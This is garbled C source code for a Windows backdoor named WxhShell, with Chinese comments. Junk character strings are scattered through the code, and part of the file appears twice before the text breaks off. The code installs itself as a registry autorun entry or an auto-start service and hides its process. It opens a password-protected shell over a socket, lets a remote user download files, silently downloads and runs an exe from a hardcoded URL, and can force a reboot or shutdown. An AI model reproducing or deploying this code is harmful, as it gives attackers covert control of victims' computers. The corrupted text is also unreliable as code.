(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _@prmSc /_OOPt=G if (!NtQueryInformationProcess) return 0; Zd<[=%d R#0{Wg0O) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,+-? Zv 2 if(!hProcess) return 0; oeNzHp_ aW`dFitpM if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a>b8-j=J Qq0O0U CloseHandle(hProcess); E/"SU*Co *]!l%Uf% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A70(W{6a9@ if(hProcess==NULL) return 0; i`~~+6`J + zDc HMODULE hMod; 6$z'wy/* char procName[255]; 4g!7
4a unsigned long cbNeeded; F!R2_89iy " dT>KQ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N *1 %^')G+>i CloseHandle(hProcess); uo 4xnzc .Cfp'u%\; if(strstr(procName,"services")) return 1; // 以服务启动 b]K>vhQV QT_^M1% return 0; // 注册表启动 N(7u],(Om } ;Xh5oB\)W ".M:`BoW4 // 主模块 qvN"1=nJ int StartWxhshell(LPSTR lpCmdLine) ;*`_#Rn# { Loc8eToZ SOCKET wsl; KT=a(QL BOOL val=TRUE; %Y 2G int port=0; }
Ab_o#Zy struct sockaddr_in door; 8'%+G No~6s.H if(wscfg.ws_autoins) Install(); dL(4mR8 D0KELAcY port=atoi(lpCmdLine); th90O|; y0y+%H- if(port<=0) port=wscfg.ws_port; qAbd xd[ -rRz@Cr WSADATA data; +ruj if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v<`$bvv? Pd,!& if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $4:~*IQ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XC2Q*Z door.sin_family = AF_INET; ]Qc: Zy3 door.sin_addr.s_addr = inet_addr("127.0.0.1"); X)y*#U door.sin_port = htons(port); =3pD:L Lm.Ik}Gli if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fW[_+r] closesocket(wsl); ?Cc$] return 1; x;*VCs } )Jmw|B 8vu2k> if(listen(wsl,2) == INVALID_SOCKET) { |:}L<9Sq closesocket(wsl); eNivlJ,K|@ return 1; <%(f9j } 7%X+O8 Wxhshell(wsl); fA;x{0CAMX WSACleanup(); m9uUDq#GJ U<|B7t4M return 0; "hfw9Qm :
qr}M } @!Y.935/0 ?!rU
|D // 以NT服务方式启动 z[%[bs2{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :> x:(K { ^=3 ^HQ'Zm DWORD status = 0; hg!x_Eq| DWORD specificError = 0xfffffff; "NlRSc# $F<%Jl7_Z serviceStatus.dwServiceType = SERVICE_WIN32; qP@L(_=g serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~y`Pwj serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
-\5[Nq{N serviceStatus.dwWin32ExitCode = 0; Z#%}K
Z serviceStatus.dwServiceSpecificExitCode = 0; "rL"K serviceStatus.dwCheckPoint = 0; ;A`IYRzt serviceStatus.dwWaitHint = 0; *-+C<2" j`Tm\!q hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #dL5x{gV= if (hServiceStatusHandle==0) return; uTxX`vH@! s-fKh` status = GetLastError(); PZ~`O if (status!=NO_ERROR) EC0zH#N { n&3iz05} serviceStatus.dwCurrentState = SERVICE_STOPPED; e3G7K8 serviceStatus.dwCheckPoint = 0; u87=q^$ serviceStatus.dwWaitHint = 0; rGGS]^ serviceStatus.dwWin32ExitCode = status;
uT#Acg serviceStatus.dwServiceSpecificExitCode = specificError; F%9e@{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); lrq>TJEcx return; (q0No26;( } Q=dw 6 oA5<[&~< serviceStatus.dwCurrentState = SERVICE_RUNNING; -wJ serviceStatus.dwCheckPoint = 0; ccIDMJ=2 serviceStatus.dwWaitHint = 0; 6hR^qdHg if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D<lQoO+ } Cln^ 1N0 <aD'$(N5 // 处理NT服务事件,比如:启动、停止 jt0H5-x VOID WINAPI NTServiceHandler(DWORD fdwControl) "h^A]t;qe { XL{{7%j switch(fdwControl) )*"T { Zb12:? case SERVICE_CONTROL_STOP: 7uWJ6Wk serviceStatus.dwWin32ExitCode = 0; \H},ouU serviceStatus.dwCurrentState = SERVICE_STOPPED; B4PW4>GF
serviceStatus.dwCheckPoint = 0; g/fp45s serviceStatus.dwWaitHint = 0; ly9x1`?$ { m
T>b; SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3U :YA&K( }
zZS>+O return; k8!hvJ)? case SERVICE_CONTROL_PAUSE: UUt~W serviceStatus.dwCurrentState = SERVICE_PAUSED; ZJiuj! break; $`-SVC case SERVICE_CONTROL_CONTINUE: 1jR=h7^= serviceStatus.dwCurrentState = SERVICE_RUNNING; S.zg& break; ,<R>Hiwg/s case SERVICE_CONTROL_INTERROGATE: ,AGM?&A break; hpd(d$j }; Fr938q6^- SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uqb]e?@ } g6x/f<2x S,ouj;B // 标准应用程序主函数 F(?Fz8 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [,.[gWA { Vu_7uSp,) My'9S2Y8nv // 获取操作系统版本 ^K1~eb*K OsIsNt=GetOsVer(); `</=AY> GetModuleFileName(NULL,ExeFile,MAX_PATH); C}dKbs^g| _stI?fz*4k // 从命令行安装 G_4K+
-K if(strpbrk(lpCmdLine,"iI")) Install(); #"3[f@|e 1Xk{(G<\ // 下载执行文件 A &X if(wscfg.ws_downexe) { dXf]G6 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AQJ|^'% WinExec(wscfg.ws_filenam,SW_HIDE); )3D+gu } U]`'GM/x 0xvMR&.H if(!OsIsNt) { Cy`<^_i // 如果时win9x,隐藏进程并且设置为注册表启动 F)[XIY&2/ HideProc(); s0X/1Cq StartWxhshell(lpCmdLine); HM(bR"E } -52@%uB else TsFV
;Sl3 if(StartFromService()) kx;xO>dC // 以服务方式启动 B` t6H StartServiceCtrlDispatcher(DispatchTable); :V5!C$QV else wI1M0@}PV // 普通方式启动 &sr:\Qn X/ StartWxhshell(lpCmdLine); PU]7c2.y bn<I#ZH2 return 0; xr7-[)3Q$ } 8M".o n ue^?/{OuT @M1yBN &Cx yP_ =========================================== 2Q`PUXj y4)ZUv,} DRKc&F6Qy =Ov;'MC o}r!qL0c l\A}lC0?J " ".*a) !DY2{Wb #include <stdio.h> gnKU\>2k #include <string.h> vJ# rW8y #include <windows.h> 5~ *'>y #include <winsock2.h> wHo#%Y,Nmi #include <winsvc.h> vMW-gk #include <urlmon.h> ~8Dd<4?F] M;S-ESQ #pragma comment (lib, "Ws2_32.lib") U&d-? PI #pragma comment (lib, "urlmon.lib") ^=-*L
3f k`iq<b #define MAX_USER 100 // 最大客户端连接数 dZ;~b(CA #define BUF_SOCK 200 // sock buffer #V(Hk ) #define KEY_BUFF 255 // 输入 buffer dH2j*G Ij //'xR8Z #define REBOOT 0 // 重启 ATXx?
b8h #define SHUTDOWN 1 // 关机 #C=L^cSx( 2S7H_qo$ #define DEF_PORT 5000 // 监听端口 m\}\RnZu =oKPMmpCZ #define REG_LEN 16 // 注册表键长度 <Vr]2mw #define SVC_LEN 80 // NT服务名长度 lhIr]'?l c!(~BH3p // 从dll定义API wFoR,oXtL/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U#FJ8CD&u typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LzEE]i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -67f33 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HPd+Bd =w;xaxjL // wxhshell配置信息 Rm[rQ}: struct WSCFG { i+T0}M< int ws_port; // 监听端口 kHo;9j-U char ws_passstr[REG_LEN]; // 口令 o}AqNw60v int ws_autoins; // 安装标记, 1=yes 0=no 2!~>)N char ws_regname[REG_LEN]; // 注册表键名 Y+PvL|`O char ws_svcname[REG_LEN]; // 服务名 _+R_ms char ws_svcdisp[SVC_LEN]; // 服务显示名 ek0;8Ds9 char ws_svcdesc[SVC_LEN]; // 服务描述信息 x/jN&;"/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Do[ F+Y int ws_downexe; // 下载执行标记, 1=yes 0=no %8`1Li6g char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0F;(_2V- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t6,M m?kIa!GM= }; 7Hr4yh[j& Jz:W-o // default Wxhshell configuration Y"]e H{ struct WSCFG wscfg={DEF_PORT, =-1^K "xuhuanlingzhe", 5sV/N] ! 1, u_/OTy "Wxhshell", 'mY,>#sT "Wxhshell", {]/Jk07 "WxhShell Service", Q,M/R6i- "Wrsky Windows CmdShell Service", 2dV\=vd "Please Input Your Password: ", xzGsfd 1, 48"Y-TV "http://www.wrsky.com/wxhshell.exe", !\D]\|Bo "Wxhshell.exe" MkV*+LXC }; Lh9>8@ jf
IG3K Pmu // 消息定义模块 c_8 mQ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;HLMU36q char *msg_ws_prompt="\n\r? for help\n\r#>"; <J_,9&\J char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *IO;`k q,; char *msg_ws_ext="\n\rExit."; k
@/SeE char *msg_ws_end="\n\rQuit."; Wp9
2sm+ char *msg_ws_boot="\n\rReboot..."; |yl0}.() char *msg_ws_poff="\n\rShutdown..."; 5\*wX.wp char *msg_ws_down="\n\rSave to "; 2"{]A;@ !A^w6Q;`V char *msg_ws_err="\n\rErr!"; 2O)Kn
q char *msg_ws_ok="\n\rOK!"; 'y@ 2,9v m*Lv,yw %a char ExeFile[MAX_PATH]; !+26a*P int nUser = 0; KlX |PQ HANDLE handles[MAX_USER]; bEXHB int OsIsNt; I>4Tbwy.- F+m4 SERVICE_STATUS serviceStatus; Xy8ie:D SERVICE_STATUS_HANDLE hServiceStatusHandle; @v-)|8GdY X=c
,`&^ // 函数声明 m=y,_Pz>U int Install(void); z1KC$~{O int Uninstall(void); u{lDof> int DownloadFile(char *sURL, SOCKET wsh); /*p?UW<*4 int Boot(int flag); 6Bq2?;5 void HideProc(void); Qc
=lf$ int GetOsVer(void); 8!fAv$g0 int Wxhshell(SOCKET wsl); hu*>B void TalkWithClient(void *cs); %IH|zSr)EM int CmdShell(SOCKET sock); 9oau_Q# int StartFromService(void); !m O] zn int StartWxhshell(LPSTR lpCmdLine); ZtK%b+MBP . eag84_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eRqexqO! VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,["|wqM d~1"{WPSn // 数据结构和表定义 'N,NG$G2 SERVICE_TABLE_ENTRY DispatchTable[] = 6Oqnb+ { D30Z9_^%: {wscfg.ws_svcname, NTServiceMain}, k-PRV8WO {NULL, NULL} PNxO\Rc }; %<*pM@ E$yf2Q~k // 自我安装 k49n9EX int Install(void) xA1pDrfC/ { q}24U3ow char svExeFile[MAX_PATH]; -bb7Y HKEY key; ^A$XXH' strcpy(svExeFile,ExeFile); AeQ&V d| %|6Q7'@p // 如果是win9x系统,修改注册表设为自启动 7z0uj if(!OsIsNt) { >U
Ich if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Wd8>a{w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hD.wKX?oO RegCloseKey(key); ?j$8Uy$$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ump:dL5{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?;7>`F6ld RegCloseKey(key); f7AJSHe return 0; yW,#&>]# | } gl{PLLe[} } +q?0A^C> } P##( V!YR else { u2m{Yx| w
I
7 // 如果是NT以上系统,安装为系统服务 ,7nb;$] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *E q7r>[ if (schSCManager!=0) 3K]0sr { WD`{kqc SC_HANDLE schService = CreateService GM5 6xZ!2T ( +A3\Hj&W schSCManager, .8xacVyK2 wscfg.ws_svcname, Ox1QP2t6Y wscfg.ws_svcdisp, 8n
p>#V SERVICE_ALL_ACCESS, n{NgtH\V SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @{GxQzo SERVICE_AUTO_START, Gkvd{G?F SERVICE_ERROR_NORMAL, >-WOw svExeFile, ED_5V@ NULL, T7nX8{l[RG NULL, u\Q**m2XP NULL, PsT v\! NULL, bH]!~[ NULL @MH]s [{o\ ); ?PtRb:RHt if (schService!=0) `D4'`Or-U { Q"_T040B CloseServiceHandle(schService); ,'DrFlI CloseServiceHandle(schSCManager); kF~e3A7C strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :rc[j@|pH strcat(svExeFile,wscfg.ws_svcname); X51$5% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]* Ki7h|B RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1MFpuPJk RegCloseKey(key); | (9FV^_ return 0; $ aBSr1 } 6HQwL\r79 } A{T@O5ucj CloseServiceHandle(schSCManager); m|gd9m$,? } D??/=`|8 } dp W%LXM_ UC$+&&rO return 1; q)y8Bv| } ]KT,s]. [:'?}p // 自我卸载 \`5u@Nzx int Uninstall(void) ,B>b9,~3a { $F$R4?_ HKEY key; UeeV+xU \`# 0,pLr if(!OsIsNt) { `;GGuJb \ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dR{
V,H7N RegDeleteValue(key,wscfg.ws_regname); 6MQ:C'8T&= RegCloseKey(key); T<GD !j( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7OHw/-j\ RegDeleteValue(key,wscfg.ws_regname); nOzTHg8 RegCloseKey(key); |H@p^.; return 0; 84cH|j`w } 4u7>NQUDu } nL~
b } ?saVk7Z[|5 else { Ka2tr]+s SXF_)1QO\W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [p<[83' ] if (schSCManager!=0) ~]+
jn { N'.+ezZ;h SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |:BYOxAYZ8 if (schService!=0) j"8N)la { izo
$0 if(DeleteService(schService)!=0) { jo#F& CloseServiceHandle(schService); 9F!&y- CloseServiceHandle(schSCManager); ~[6|VpGc: return 0; !qv;F?2
<g } k] YGD CloseServiceHandle(schService); 8"^TWzg}L } c17==S CloseServiceHandle(schSCManager); )uWNN" } 3f8Z?[Bb@ } d69VgLg L@GD$F=<0 return 1; Wbxksh:)Q } ``Rb-.Fq, l]&)an // 从指定url下载文件 1ki"UF/ int DownloadFile(char *sURL, SOCKET wsh) :E*U*#h/ { 9x,+G['Zt HRESULT hr; )5x?Qn (B char seps[]= "/"; Fowh3go char *token; OO>2oH char *file; pBLO char myURL[MAX_PATH]; ??Ac=K\ char myFILE[MAX_PATH]; 1^dWmxUZH ;O>fy:$' strcpy(myURL,sURL); 5,Zn$zosJC token=strtok(myURL,seps); X:/t>0e while(token!=NULL) P2F>iK#U { G$<0_0GF file=token; px@\b]/ token=strtok(NULL,seps); H:6$)# } 0k [6 nsk
6a GetCurrentDirectory(MAX_PATH,myFILE); R0'EoX strcat(myFILE, "\\"); m"]ys# strcat(myFILE, file); M+:wa@Kl send(wsh,myFILE,strlen(myFILE),0); t68RWzqiG[ send(wsh,"...",3,0); TaG-^bX8B hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1YL5 ![T if(hr==S_OK) bux-t3g7+ return 0; 8?XZF[D else X.<R['U&\ return 1; O ?Tg`] EX 9f`Pi:*+/ } 2=EKAg=S :_ox8xS4 // 系统电源模块 ,pzCJ@5 int Boot(int flag) *Cw2 h { SGm?"esEt HANDLE hToken; 9_{!nQC.g TOKEN_PRIVILEGES tkp; [DwB7l)O( g (k|"g`* if(OsIsNt) { RUKSGj_NJ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^EOjq LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -&}E:zoe
tkp.PrivilegeCount = 1; OFv} jT tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 566Qikw2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lfP|+=^B
if(flag==REBOOT) { pkx>6(Y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vKf=t&gqr return 0; IIkJ"Qg. } f'dI"o&^/d else { Km7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5@ug1F& return 0; wn&2-m*a } mZyTo/\0 } wQT'~'kL else { 6*7&X#gG if(flag==REBOOT) { q0wVV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (6nw8vQ return 0; HenJlo } ~@lNBF else { X[<9+Q-& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) at!?"u return 0; :F&WlU$L } )w-?|2-w5 } CCV~nf C#>C59 return 1; tUQ)q } d/1XL[& c3##:"wr // win9x进程隐藏模块 S J5kA` void HideProc(void)
s25012 { V_!i KEU +zsya4r HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $]FWpr%) if ( hKernel != NULL ) n9fk{"y'G { ,"o\_{<z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H^G*5EQK ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I?QKd@ FreeLibrary(hKernel); K@m^QioMj } kN)ev?pQ[ ~6tY\6$9f return; YbKW;L&Ff } a0R]hENC 1*fA>v // 获取操作系统版本 _Gu ;U@ int GetOsVer(void) &,zeBFmc { \!r^6'A OSVERSIONINFO winfo; c+JlM1p@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `;;!>rm GetVersionEx(&winfo); U,'n}]=4A3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :&m(W Z\ return 1; #=rR[:M else 7F.,Xvw&@ return 0; s6B@:9 } ]G:xT v8 m|
Z)h{& // 客户端句柄模块 [C$ 0HW int Wxhshell(SOCKET wsl) #_d%hr~d { }1V&(#H2 SOCKET wsh; |($pXVLH` struct sockaddr_in client; tz,FK;8 DWORD myID; |NI0zd ?@_dx=su while(nUser<MAX_USER) Gsb]e { nFqMS|EN int nSize=sizeof(client); LdOB[W wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Dng^4VRd if(wsh==INVALID_SOCKET) return 1; >qE$:V"_5 t`Sh!e handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U&6f}=vC if(handles[nUser]==0) :|a[6Uwl\V closesocket(wsh); ydt1ED0Q- else QU t!fF@t nUser++; 157X0&EX } pPE4~g 05h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <~d N23) 4P8:aZM return 0; xInWcQ } mWh:,[o `JRdOe // 关闭 socket CVm*Q[5s" void CloseIt(SOCKET wsh) G.Q+"+*^ { "P6MLf1 closesocket(wsh); /=N`P &R# nUser--; V|7 cdX#H ExitThread(0); Jps!,Mflc } 4
QWHGh" 8:f(PN // 客户端请求句柄 wegBMRQVp void TalkWithClient(void *cs) ?1YK-T@ { fA8 ,wy|> Q-\: u~ SOCKET wsh=(SOCKET)cs; #u~8Txt char pwd[SVC_LEN]; R#0UwRjeF char cmd[KEY_BUFF]; %n^]1R# char chr[1]; \|M z'* int i,j; di|l?l^l Cd4G&(= while (nUser < MAX_USER) { O_~\$b v"`w'+ if(wscfg.ws_passstr) { sS._N@f if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7j^,4; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .m
.v$( //ZeroMemory(pwd,KEY_BUFF); '`S,d[~ i=0; zR%#Q_ while(i<SVC_LEN) { , vWcWT /wQDcz // 设置超时 {J[0UZ6 fd_set FdRead; #(%6urd struct timeval TimeOut; QgP
UP[ FD_ZERO(&FdRead); ='(:fHhhX FD_SET(wsh,&FdRead); w0pH|$"/P TimeOut.tv_sec=8; 7>#74oy TimeOut.tv_usec=0; d4lEd>Ni int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N)QW$iw9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @sP?@<C WkT4&|POJ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;e+ErN`a.~ pwd=chr[0]; )Ipa5i>t if(chr[0]==0xd || chr[0]==0xa) { $(BW |Pc pwd=0; p &A3l break; [L:,A{rve } 0ZO!_3m$r i++; /0A}N$?>: } V[#jrwhA :p89J\ // 如果是非法用户,关闭 socket _f/6bpv if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); biQDupTz } D_g+O"];P [j):2 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -{^Gzui send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vForj*Xo <%!EI@N while(1) { {Wt=NI?Ow 6:H@=fEv ZeroMemory(cmd,KEY_BUFF); rAgb<D@,H 6]M(ElV1H // 自动支持客户端 telnet标准 X4gs{kx}| j=0; +5voAx! while(j<KEY_BUFF) { hDCR>G if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3{CXIS cmd[j]=chr[0]; p~qdkA< if(chr[0]==0xa || chr[0]==0xd) { MFRM M%` cmd[j]=0; }}<^fM break; s$A|>TOY } +ps(9O/B> j++; J%{>I } /@:I\&{f'9 [&51m^ // 下载文件 `j9 ;9^ if(strstr(cmd,"http://")) { A2..gs/ send(wsh,msg_ws_down,strlen(msg_ws_down),0); dj 4:r!5_ if(DownloadFile(cmd,wsh)) 29:] cL(5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); o!: else umI@ej+D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y-9Mm9J } ^tI
,eZ else {
`ml b-,4< H8m switch(cmd[0]) { ,XU<2jv] Dc2H<=]; // 帮助 \<TWy&2& case '?': { y2cYRHN[X} send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !#3v<_]#d break; *jM]:GpyoU } G8}k9?26( // 安装 jBb:) case 'i': { A{MMY{K3 if(Install()) z#m ~} send(wsh,msg_ws_err,strlen(msg_ws_err),0); \(C6|-:GY else UyENzK<%u send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~6DaM! break; &sJ -&7YZ } \8g'v@$wG // 卸载 vhvFBx0 case 'r': { }Y:V&4DW if(Uninstall()) %g: 6QS| send(wsh,msg_ws_err,strlen(msg_ws_err),0); FN\*x:g else $Y,y~4I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h/k00hD60 break; xPCRT*Pd } T\q: // 显示 wxhshell 所在路径 9eBD)tnw case 'p': { >P@g].Q- char svExeFile[MAX_PATH]; a5caryZ"z strcpy(svExeFile,"\n\r"); r'8qZJgm strcat(svExeFile,ExeFile); gamE^Ee send(wsh,svExeFile,strlen(svExeFile),0); a`I
\19p] break; XlLG/N
} a@!(o )> // 重启 8
kvF~d
; case 'b': { z9Z4MXl send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \(_(pcl if(Boot(REBOOT)) 0Xb,ne
7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2ci[L:U else { z.lIlp2: closesocket(wsh); =U'!<w<- ExitThread(0); 9k/L m } AO,
o|,#4F break; C cPOK2 } 9:R3+,ZN // 关机 ncrg`<'/, case 'd': { Uo?4o*} send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6%it`A8} if(Boot(SHUTDOWN)) :CLWmMC_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); bbM^J else { dIW@L closesocket(wsh); Qp7h|< ExitThread(0); 1J([*) } =WT&unw} break; o%7-<\qS } fqjBor} // 获取shell Me79:+d case 's': { S4\a"WYg CmdShell(wsh); 1*" 7q9x closesocket(wsh); F/ x2}' ExitThread(0); 4O<sE@X break; R:4@a ':H } 'i',M+0>jC // 退出 S/"G=^~ case 'x': { 7r&lW<:> send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {xx}xib3 CloseIt(wsh); )xq=V break; v*[UG^+) } 47N,jVt4 // 离开 O uNPD q% case 'q': { ?r0rY? send(wsh,msg_ws_end,strlen(msg_ws_end),0); `WIZY33V closesocket(wsh); , #=TputM WSACleanup(); 9#TD1B/ exit(1); @R%*; )*F break; tn#cVB3 } fLnwA|n= } 3Q'vVNFh< } /poGhB1k |.VSw // 提示信息 4GbfA
.u if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
Y?TS, } @Ddz|4 vEi } "4\k1H"_ EsGf+-}|!0 return; 6R,Y.srR } ( +Sv3h tL3R<' // shell模块句柄 !m^;wkrY int CmdShell(SOCKET sock) <o/!M6^: { b{qN7X~> STARTUPINFO si; SV@*[r ZeroMemory(&si,sizeof(si)); f`:GjA,J$ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %cLS*=MO si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jYi,oE PROCESS_INFORMATION ProcessInfo; 1aQm r=, char cmdline[]="cmd"; Tf~eH!~0 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iLch3[p% return 0; .<zKBv } d\uN =WjHf8v; // 自身启动模式 LD ]-IX&L int StartFromService(void) +}O -WX? { #B<EMGH typedef struct }[Z'Sg]s { g3].STz6w DWORD ExitStatus; OKAU*}_ DWORD PebBaseAddress; 9j|v
D DWORD AffinityMask; +@=V}IO DWORD BasePriority; yAfwQ$Ll7 ULONG UniqueProcessId; q[_qZ ULONG InheritedFromUniqueProcessId; yfK}1mx)j } PROCESS_BASIC_INFORMATION; 0u1ZU4+EC ;+<IWDo PROCNTQSIP NtQueryInformationProcess; dpTsTU!\ arDl2T,igF static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g!R7CRt% static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H,]8[qT< 8'u9R~}) HANDLE hProcess; h*%FZ}}`q PROCESS_BASIC_INFORMATION pbi; D3cJIVM o>_})WM1[ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rw,Ylr:3 if(NULL == hInst ) return 0; ])wdd>' @>HTbs6W g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `p&[b]b g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >*RU:X NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K_;vqi^1^& tsAV46S if (!NtQueryInformationProcess) return 0; H0;Iv#S! 7Y9#y{v1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H}$7c`;q if(!hProcess) return 0; B~w$j/sWU ,U3 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N$6e KJ] Yy88 5 CloseHandle(hProcess); Q]YB.n3 }:m/@LKB hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3Do0?~n if(hProcess==NULL) return 0; 8
MQq3 ^FKiVKI: HMODULE hMod; T9
